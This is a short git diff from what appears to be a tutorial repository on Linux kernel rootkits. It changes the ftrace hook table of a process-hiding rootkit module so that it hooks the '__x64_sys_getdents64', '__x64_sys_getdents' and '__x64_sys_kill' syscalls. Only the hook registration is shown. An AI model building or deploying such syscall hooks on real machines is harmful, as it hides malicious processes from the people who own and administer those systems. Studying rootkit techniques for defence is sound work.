diff --git a/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h b/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h index 4e76d01..db0fba2 100644 --- a/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h +++ b/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h @@ -26,16 +26,9 @@ }; #endif -/* x64 has to be special and require a different naming convention */ -#ifdef PTREGS_SYSCALL_STUBS -#define SYSCALL_NAME(name) ("__x64_" name) -#else -#define SYSCALL_NAME(name) (name) -#endif - #define HOOK(_name, _hook, _orig) \ { \ - .name = SYSCALL_NAME(_name), \ + .name = (_name), \ .function = (_hook), \ .original = (_orig), \ } diff --git a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c index f96066b..e6bd959 100644 --- a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c +++ b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c @@ -382,9 +382,9 @@ /* Declare the struct that ftrace needs to hook the syscall */ static struct ftrace_hook hooks[] = { - HOOK("sys_getdents64", hook_getdents64, &orig_getdents64), - HOOK("sys_getdents", hook_getdents, &orig_getdents), - HOOK("sys_kill", hook_kill, &orig_kill), + HOOK("__x64_sys_getdents64", hook_getdents64, &orig_getdents64), + HOOK("__x64_sys_getdents", hook_getdents, &orig_getdents), + HOOK("__x64_sys_kill", hook_kill, &orig_kill), }; /* Module initialization function */